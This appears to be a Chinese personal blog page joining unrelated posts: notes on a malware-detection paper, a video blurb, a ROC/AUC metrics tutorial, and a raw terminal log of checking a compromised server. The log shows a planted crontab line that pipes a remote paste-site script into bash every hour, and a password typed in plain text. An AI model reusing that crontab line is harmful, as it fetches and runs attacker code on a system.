从组会论文中得到项目的灵感[2]

我们正好要在安全比赛中做一个小项目.同时要再编译原理课上完成静态分析.

本论文是基于深度学习权限API调用的安全漏洞检查.对拓展CFG进行标签化学习,先对良性app学习数据流和api调用的关系,去检测一个新的app的malitious 与否.

最后这个文章的创新点居然只是wigdet 和word的关系.

上科大×平塘 贵州平塘2019社会实践纪录短片

上海科技大学2019暑期社会实践贵州平塘分队记录短片。 本视频由贵州平塘视频组集体制作。 视频中含有少量网络素材。使用的背景音乐已收录在网易云音乐歌单:贵州平塘2019社会实践纪录短片。 「社会实践从来都不应该是单向的给予或是接受,而应该是平等的交流。只有彼此信任、充分了解彼此的生活,才能让大家各自转而对自身境况进行反思。」 感谢平塘,感谢大家。 这个夏天行将结束,新的故事即将开始。

从组会论文中得到项目的灵感[1]

https://arxiv.org/pdf/1903.04881.pdf

首先是几个概念的辨析(reference : https://blog.csdn.net/program_developer/article/details/79946787 )

一、 ROC曲线的由来

  很多学习器是为测试样本产生一个实值或概率预测,然后将这个预测值与一个分类阈值进行比较,若大于阈值则分为正类,否则为反类。例如,神经网络在一般情形下是对每个测试样本预测出一个[0.0,1.0]之间的实值,然后将这个值与阈值0.5进行比较,大于0.5则判为正例,否则为反例。这个阈值设置的好坏,直接决定了学习器的泛化能力。

  在不同的应用任务中,我们可根据任务需求来采用不同的阈值。例如,若我们更重视“查准率”,则可以把阈值设置的大一些,让分类器的预测结果更有把握;若我们更重视“查全率”,则可以把阈值设置的小一些,让分类器预测出更多的正例。因此,阈值设置的好坏,体现了综合考虑学习器在不同任务下的泛化性能的好坏。为了形象的描述这一变化,在此引入ROC曲线,ROC曲线则是从阈值选取角度出发来研究学习器泛化性能的有力工具。

错误率(Error Rate):是分类错误的样本数占样本总数的比例。对样例集D,分类错误率计算公式如1所示。

\begin{equation} E(f;D)=\frac{1}{m}\sum_{i=1}^{m} \prod (f(x_{i})\neq y_{i})\ \ _{(1)} \end{equation}

对公式(1)解释:统计分类器预测出来的结果与真实结果不相同的个数,然后除以总的样例集D的个数。

精度(Accuracy):是分类正确的样本数占样本总数的比例。对样例集D,精度计算公式如2所示。

\begin{equation}\nonumber acc(f;D) = \frac{1}{m}\sum^{m}_{i=1}\prod (f(x_{i})=y_{i})\\ =1-E(f;D) \ . \ \ \ _{(2)} \end{equation}

注意:这里的分类正确的样本数指的不仅是正例分类正确的个数还有反例分类正确的个数。


(1)查准率、查全率出现的原因:

情景一:

错误率和精度虽然常用,但是并不能满足所有任务需求。以西瓜问题为例,假定瓜农拉来一车西瓜,我们用训练好的模型对这些西瓜进行判别,显然,错误率衡量了有多少比例的瓜被判别错误。但是若我们关心的是“挑出的西瓜中有多少比例是好瓜”,或者“所有好瓜中有多少比例被挑了出来”,那么错误率显然就不够用了,这时需要使用其他的性能度量。

情景二:

类似的需求在信息检索、Web搜索等应用中经常出现,例如在信息检索中,我们经常会关心“检索出的信息中有多少被检索出来了”。

“查准率”与“查全率”是更为适用于此类需求的性能度量。

(2)什么是查准率和查全率

对于二分类问题,可将样例根据其真实类别与学习器预测类别的组合划分为真正例(true positive)、假正例(false positive)、真反例(true negative)、假反例(false negative)四种情形,令TP、FP、TN、FN分别表示其对应的样例数,则显然有TP+FP++TN+FN=样例总数。分类结果的“混淆矩阵”(confusion matrix)如表1所示。

  表1:分类结果混淆矩阵

真实情况预测结果
正例反例
正例TP(真正例)FN(假反例)
反例FP(假正例)TN(真反例)

查准率(Precision),又叫准确率,缩写表示用P。查准率是针对我们预测结果而言的,它表示的是预测为正的样例中有多少是真正的正样例。定义公式如3所示。

 

注意:这里大家有一个容易混淆的误区。精度(Accuracy)和准确率(Precision)表示的是不同的概念,计算方法也不同。所以,大家在看paper的时候,要特别注意这些细节。

精确度(Accuracy),缩写表示用A。精确度则是分类正确的样本数占样本总数的比例。Accuracy反应了分类器对整个样本的判定能力(即能将正的判定为正的,负的判定为负的)。定义公式如4所示。

查全率(Recall),又叫召回率,缩写表示用R。查全率是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确。定义公式如5所示。

注意:大家可以比较一下查准率和查全率的计算公式。其实就是分母不同,查准率的分母是预测为正的样本数。查全率的分母是原样本的所有正样例数。

(3)查准率和查全率之间的矛盾

查准率和查全率是一对矛盾的度量。一般来说,查准率高时,查全率往往偏低;而查全率高时,查准率往往偏低。

思考一个问题:为什么会有这样的情况呢?

答案:我们可以这样理解,在一个分类器中,你想要更高的查准率,那么你的阈值要设置的更高,只有这样才能有较高的把握确定我们预测是正例是真正例。一旦我们把阈值设置高了,那我们预测出正例的样本数就少了,那真正例数就更少了,查不全所有的正样例。

举个例子来理解一下吧!例如,若希望将好瓜尽可能多地挑选出来,则可通过增加选瓜的数量来实现,如果将所有的西瓜都选上,那么所有的好瓜也必然都选上了,但这样查准率就会较低;若希望选出的瓜中好瓜比例尽可能高,则可只挑选最有把握的瓜,但这样就难免会漏掉不少好瓜,使得查全率较低。通常只有在一些简单任务中,才可能使查全率和查准率都很高。

P-R曲线在很多情形下,我们可根据学习器的预测结果对样例进行排序,排在前面的是学习器认为“最可能”是正例的样本,排在最后的是学习器认为“最不可能”是正例的样本。按此顺序设置不同的阈值,逐个把样本作为正例进行预测,则每次可以计算出当前的查准率、查全率。以查准率为纵轴查全率为横轴作图,就得到了查准率-查全率曲线,简称“P-R曲线”,显示该曲线的图称为“P-R图”。

P-R图直观地显示出学习器在样本总体上的查全率、查准率。在进行比较时,若一个学习器的P-R曲线被另一个学习器的曲线完全“包住”,则可断言后者的性能优于前者,例如图1中学习器A的性能优于学习器C;如果两个学习器的P-R曲线发生了交叉,例如图1中的A和B,则难以一般性地断言两者孰优孰劣,只能在具体的查准率或查全率条件下进行比较。然而,在很多情形下,人们往往仍然希望把学习器A与B比出个高低。这时,一个比较合理的判断依据是比较P-R曲线下面积的大小,它在一定程度上表征了学习器在查准率和查全率上取得相对“双高”的比例。但这个值不太容易估算,因此,人们设计了一些综合考虑查准率、查全率的性能度量,比如BEP度量、F1度量。

“平衡点”(Break-Even-Point,简称BEP)就是这样一个度量,它是“查准率=查全率”时的取值,例如图1中学习器C的BEP是0.64,而基于BEP的比较,可认为学习器A优于B。

F1度量BEP曲线还是过于简化了些,更常用的是F1度量。我们先来谈谈F1度量的由来是加权调和平均,计算公式如6所示。

\begin{equation}\nonumber 加权调和平均与算术平均(\frac{P+R}{2})和几何平均\sqrt{PR}相比,调和平均更重视较小值。当β=1,即F1是基于查准率与查全率的调和平均定义的,公式如7所示。 \end{equation}

我们把公式7求倒数,即得F1度量公式,即公式8所示。

在一些应用中,对查准率和查全率的重视程度有所不同。例如在商品推荐系统中,为了尽可能少打扰用户,更希望推荐内容确实是用户感兴趣的,此时查准率更重要;而在逃犯信息检索系统中,更希望尽可能少漏掉逃犯,此时查全率更重要。F1度量的一般形式是,能让我们表达出对查准率/查全率的不同偏好,它定义为公式9所示。

其中,β>0度量了查全率对查准率的相对重要性。β=1时,退化为标准的F1;β>1时查全率有更大影响;β<1时,查准率有更大影响。

二、 什么是ROC曲线

ROC全称是“受试者工作特征”(Receiver OperatingCharacteristic)曲线。我们根据学习器的预测结果,把阈值从0变到最大,即刚开始是把每个样本作为正例进行预测,随着阈值的增大,学习器预测正样例数越来越少,直到最后没有一个样本是正样例。在这一过程中,每次计算出两个重要量的值,分别以它们为横、纵坐标作图,就得到了“ROC曲线”。

  ROC曲线的纵轴是“真正例率”(True Positive Rate, 简称TPR),横轴是“假正例率”(False Positive Rate,简称FPR),基于上篇文章《错误率、精度、查准率、查全率和F1度量》的表1中符号,两者分别定义为:

  显示ROC曲线的图称为“ROC图”。图1给出了一个示意图,显然,对角线对应于“随机猜测”模型,而点(0,1)则对应于将所有正例预测为真正例、所有反例预测为真反例的“理想模型”。

图1:ROC曲线与AUC面积   
  现实任务中通常是利用有限个测试样例来绘制ROC图,此时仅能获得有限个(真正例率,假正例率)坐标对,无法产生图1中的光滑ROC曲线,只能绘制出图2所示的近似ROC曲线。绘制过程很简单:给定个正例和个反例,根据学习器预测结果对样例进行排序,然后把分类阈值设置为最大,即把所有样例均预测为反例,此时真正例率和假正例率均为0,在坐标(0,0)处标记一个点。然后,将分类阈值依次设为每个样例的预测值,即依次将每个样例划分为正例。设前一个标记点坐标为,当前若为真正例,则对应标记点的坐标为;当前若为假正例,则对应标记点的坐标为,然后用线段连接相邻点即得。

三、 ROC曲线的意义

(1)主要作用

1.ROC曲线能很容易的查出任意阈值对学习器的泛化性能影响。

2.有助于选择最佳的阈值。ROC曲线越靠近左上角,模型的查全率就越高。最靠近左上角的ROC曲线上的点是分类错误最少的最好阈值,其假正例和假反例总数最少。

3.可以对不同的学习器比较性能。将各个学习器的ROC曲线绘制到同一坐标中,直观地鉴别优劣,靠近左上角的ROC曲所代表的学习器准确性最高。

(2)优点

  1. 该方法简单、直观、通过图示可观察分析方法的准确性,并可用肉眼作出判断。ROC曲线将真正例率和假正例率以图示方法结合在一起,可准确反映某种学习器真正例率和假正例率的关系,是检测准确性的综合代表。
  2. 在生物信息学上的优点:ROC曲线不固定阈值,允许中间状态的存在,利于使用者结合专业知识,权衡漏诊与误诊的影响,选择一个更加的阈值作为诊断参考值。

四、 AUC面积的由来

  如果两条ROC曲线没有相交,我们可以根据哪条曲线最靠近左上角哪条曲线代表的学习器性能就最好。但是,实际任务中,情况很复杂,如果两条ROC曲线发生了交叉,则很难一般性地断言谁优谁劣。在很多实际应用中,我们往往希望把学习器性能分出个高低来。在此引入AUC面积。

  在进行学习器的比较时,若一个学习器的ROC曲线被另一个学习器的曲线完全“包住”,则可断言后者的性能优于前者;若两个学习器的ROC曲线发生交叉,则难以一般性的断言两者孰优孰劣。此时如果一定要进行比较,则比较合理的判断依据是比较ROC曲线下的面积,即AUC(Area Under ROC Curve),如图1图2所示。

五、 什么是AUC面积

  AUC就是ROC曲线下的面积,衡量学习器优劣的一种性能指标。从定义可知,AUC可通过对ROC曲线下各部分的面积求和而得。假定ROC曲线是由坐标为的点按序连接而形成,参见图2,则AUC可估算为公式3。

六、 AUC面积的意义

  AUC是衡量二分类模型优劣的一种评价指标,表示预测的正例排在负例前面的概率。

  看到这里,是不是很疑惑,根据AUC定义和计算方法,怎么和预测的正例排在负例前面的概率扯上联系呢?如果从定义和计算方法来理解AUC的含义,比较困难,实际上AUC和Mann-WhitneyU test(曼-慧特尼U检验)有密切的联系。从Mann-Whitney U statistic的角度来解释,AUC就是从所有正样本中随机选择一个样本,从所有负样本中随机选择一个样本,然后根据你的学习器对两个随机样本进行预测,把正样本预测为正例的概率,把负样本预测为正例的概率,>的概率就等于AUC。所以AUC反映的是分类器对样本的排序能力。根据这个解释,如果我们完全随机的对样本分类,那么AUC应该接近0.5。

  另外值得注意的是,AUC的计算方法同时考虑了学习器对于正例和负例的分类能力,在样本不平衡的情况下,依然能够对分类器做出合理的评价。AUC对样本类别是否均衡并不敏感,这也是不均衡样本通常用AUC评价学习器性能的一个原因。例如在癌症预测的场景中,假设没有患癌症的样本为正例,患癌症样本为负例,负例占比很少(大概0.1%),如果使用准确率评估,把所有的样本预测为正例便可以获得99.9%的准确率。但是如果使用AUC,把所有样本预测为正例,TPR为1,FPR为1。这种情况下学习器的AUC值将等于0.5,成功规避了样本不均衡带来的问题。


记一次服务器被黑

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Password:
PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

7 packages can be updated.
6 updates are security updates.


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


        Welcome to Huawei Cloud Service


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Oct 21 11:31:18 2019 from 59.78.171.116

        Welcome to Huawei Cloud Service

Could not chdir to home directory /home/yiweiyang: No such file or directory


$
$
$
$ ls
bin   data  etc   initrd.img      lib    lost+found  mnt  patch  root  sbin  srv  tmp  var      vmlinuz.old
boot  dev   home  initrd.img.old  lib64  media       opt  proc   run   snap  sys  usr  vmlinuz  www
$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2F                                                                                                                                                                                                                                                   var%2Frun%2Fdocker.sock/v1.40/containers/json: dial unix /var/run/docker.sock: connect: permission denied
$ su -
Password:
root@gaSRHj203877:~# ls
f2f_migrate_error.log     frp  OnlineJudgeDeploy  package.xml  SISTOJ.git  SMS-Agent.tar.gz
f2f_migrate_schedule.log  nps  package-lock.json  SISTOJ       SMS-Agent   X7QZNkji
root@gaSRHj203877:~# docker ps
CONTAINER ID        IMAGE                                                        COMMAND                  CREATED                                                                                                                                                                                                                                                                STATUS                PORTS                                            NAMES
62658fd3b3c8        registry.cn-hangzhou.aliyuncs.com/onlinejudge/oj_backend     "/bin/sh -c /app/dep…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   0.0.0.0:4981->1443/tcp, 0.0.0.0:4980->8000/tcp   oj-backend
650fa2b219a4        centos                                                       "/bin/bash"              2 months ago                                                                                                                                                                                                                                                           Up 8 days                                                              centos
6ba068b154be        registry.cn-hangzhou.aliyuncs.com/onlinejudge/judge_server   "/bin/sh -c /code/en…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   8080/tcp                                         judge-server
b090c523f1ab        postgres:10-alpine                                           "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             5432/tcp                                         oj-postgres
659d477410e3        redis:4.0-alpine                                             "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             6379/tcp                                         oj-redis
root@gaSRHj203877:~# docker exec -it oj-backend /bin/sh
/app #
/app #
/app # python3 manage.py inituser --username victoryang00 --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
User victoryang00 doesnot exist, operation ignored
/app # python3 manage.py inituser --username root --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
Password is rested
/app # root@gaSRHj203877:~# htop
root@gaSRHj203877:~# kill 21790
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# crontab -l
0 * * * * curl -s -L http://ix.io/1K8E | bash -s
root@gaSRHj203877:~# crontab -e
crontab: installing new crontab
root@gaSRHj203877:~# more .bash_history
more: stat of .bash_history failed: No such file or directory
root@gaSRHj203877:~# ll
total 44852
drwx------ 19 root root     4096 Oct 27 15:00 ./
drwxr-xr-x 26 root root     4096 Oct 21 10:42 ../
drwx------  5 root root     4096 Sep 14 14:10 .acme.sh/
-rw-r--r--  1 root root     3137 Sep 14 14:10 .bashrc
drwx------  5 root root     4096 Sep 22 04:28 .cache/
drwxr-xr-x  3 root root     4096 Sep 14 14:29 .cmake/
drwx------  5 root root     4096 Sep 21 23:11 .config/
-rw-r--r--  1 root root      465 Sep 14 03:07 f2f_migrate_error.log
-rw-r--r--  1 root root      435 Sep 13 18:36 f2f_migrate_schedule.log
drwxrwxr-x  3 www  www      4096 Jul 17 04:41 frp/
drwx------  3 root root     4096 Aug  6 18:17 .gnupg/
drwxr-xr-x  3 root root     4096 Sep 21 23:11 .local/
-rw-------  1 root root      428 Sep 22 12:24 .mysql_history
drwxr-xr-x  2 root root     4096 Aug 20 02:19 .nano/
drwxr-xr-x  3 root root     4096 Aug 23 03:25 .node-gyp/
-rw-------  1 root root        0 Sep 22 09:18 .node_repl_history
drwxr-xr-x  5 root root     4096 Aug  6 21:27 .npm/
drwxr-xr-x  4 root root     4096 Aug 13 07:02 nps/
drwxr-xr-x  6 root root     4096 Sep 14 13:43 OnlineJudgeDeploy/
-rw-r--r--  1 root root       27 Aug  6 21:42 package-lock.json
-rw-r--r--  1 www  uucp    35323 Jul 29 23:14 package.xml
-rw-r--r--  1 root root      195 Sep 14 15:32 .pearrc
drwxr-xr-x  2 root root     4096 Sep 14 14:08 .pip/
-rw-r--r--  1 root root      174 Sep 13  2017 .profile
-rw-rw-rw-  1 root root        6 Oct 27 15:00 .pysocks.pid
-rw-------  1 root root       74 Oct 10 13:59 .python_history
-rw-r--r--  1 root root       66 Oct 21 10:11 .selected_editor
drwxr-xr-x 10 root root     4096 Aug 23 04:17 SISTOJ/
-rw-r--r--  1 root root    90584 Aug 23 02:14 SISTOJ.git
drwxr-xr-x  8 root root     4096 Sep 13 18:05 SMS-Agent/
-rw-r--r--  1 root root 45638842 Sep 11 09:28 SMS-Agent.tar.gz
drwx------  2 root root     4096 Oct 21 10:31 .ssh/
-rw-r--r--  1 root root        0 Oct 13 06:28 .sudo_as_admin_successful
-rw-------  1 root root    10100 Oct 21 10:44 .viminfo
drwxr-xr-x  5 root root     4096 Sep 21 21:12 .vscode-server/
-rw-r--r--  1 root root      317 Oct 27 09:00 .wget-hsts
-rwxrwxrwx  1 root root    16940 Oct 27 15:00 X7QZNkji*
root@gaSRHj203877:~# ls |grep bash
root@gaSRHj203877:~# cat .
./                         .gnupg/                    .pearrc                    .sudo_as_admin_successful
../                        .local/                    .pip/                      .viminfo
.acme.sh/                  .mysql_history             .profile                   .vscode-server/
.bashrc                    .nano/                     .pysocks.pid               .wget-hsts
.cache/                    .node-gyp/                 .python_history
.cmake/                    .node_repl_history         .selected_editor
.config/                   .npm/                      .ssh/
root@gaSRHj203877:~# cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi
. "/root/.acme.sh/acme.sh.env"
root@gaSRHj203877:~# cd /etc/init
init/            init.d/          initramfs-tools/
root@gaSRHj203877:~# cd /etc/init.d/
root@gaSRHj203877:/etc/init.d# ls
acpid                   cryptdisks         mountall-bootclean.sh  ondemand       redis           ufw
apparmor                cryptdisks-early   mountall.sh            open-iscsi     resolvconf      umountfs
arp-bind                dbus               mountdevsubfs.sh       open-vm-tools  rsync           umountnfs.sh
atd                     docker             mountkernfs.sh         php-fpm-72     rsyslog         umountroot
bootmisc.sh             grub-common        mountnfs-bootclean.sh  plymouth       screen-cleanup  unattended-upgrades                                                                                                                                                                                                                                                       bt                      halt               mountnfs.sh            plymouth-log   sendmail        urandom
checkfs.sh              hostname.sh        mysql                  procps         sendsigs        uuidd
checkroot-bootclean.sh  hwclock.sh         mysqld                 pure-ftpd      single          x11-common
checkroot.sh            irqbalance         networking             rc             skeleton
cloudGuardd             iscsid             nginx                  rc.local       ssh
cloudSafed              keyboard-setup.sh  nscd                   rcS            sysstat
console-setup.sh        killprocs          ntp                    README         thermald
cron                    kmod               ntp.dpkg-old           reboot         udev
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# locat

Command 'locat' not found, did you mean:

  command 'socat' from deb socat
  command 'ocat' from deb onioncat
  command 'locate' from deb mlocate
  command 'locate' from deb locate
  command 'lzcat' from deb lzma
  command 'lolcat' from deb lolcat

Try: apt install <deb name>

root@gaSRHj203877:/etc/init.d# locate
locate: no pattern to search for specified
root@gaSRHj203877:/etc/init.d# locate Db
/usr/share/perl5/Debconf/Db.pm
/usr/share/perl5/Debconf/DbDriver
/usr/share/perl5/Debconf/DbDriver.pm
/usr/share/perl5/Debconf/DbDriver/Backup.pm
/usr/share/perl5/Debconf/DbDriver/Cache.pm
/usr/share/perl5/Debconf/DbDriver/Copy.pm
/usr/share/perl5/Debconf/DbDriver/Debug.pm
/usr/share/perl5/Debconf/DbDriver/DirTree.pm
/usr/share/perl5/Debconf/DbDriver/Directory.pm
/usr/share/perl5/Debconf/DbDriver/File.pm
/usr/share/perl5/Debconf/DbDriver/LDAP.pm
/usr/share/perl5/Debconf/DbDriver/PackageDir.pm
/usr/share/perl5/Debconf/DbDriver/Pipe.pm
/usr/share/perl5/Debconf/DbDriver/Stack.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   b.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Backup.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Cache.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Copy.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Debug.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/DirTree.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Directory.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/File.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/LDAP.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/PackageDir.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Pipe.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Stack.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /Db.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Backup.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Cache.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Copy.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Debug.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/DirTree.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Directory.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/File.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/LDAP.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/PackageDir.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Pipe.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Stack.pm
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbList.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbQbe.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbSearch.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100000.php
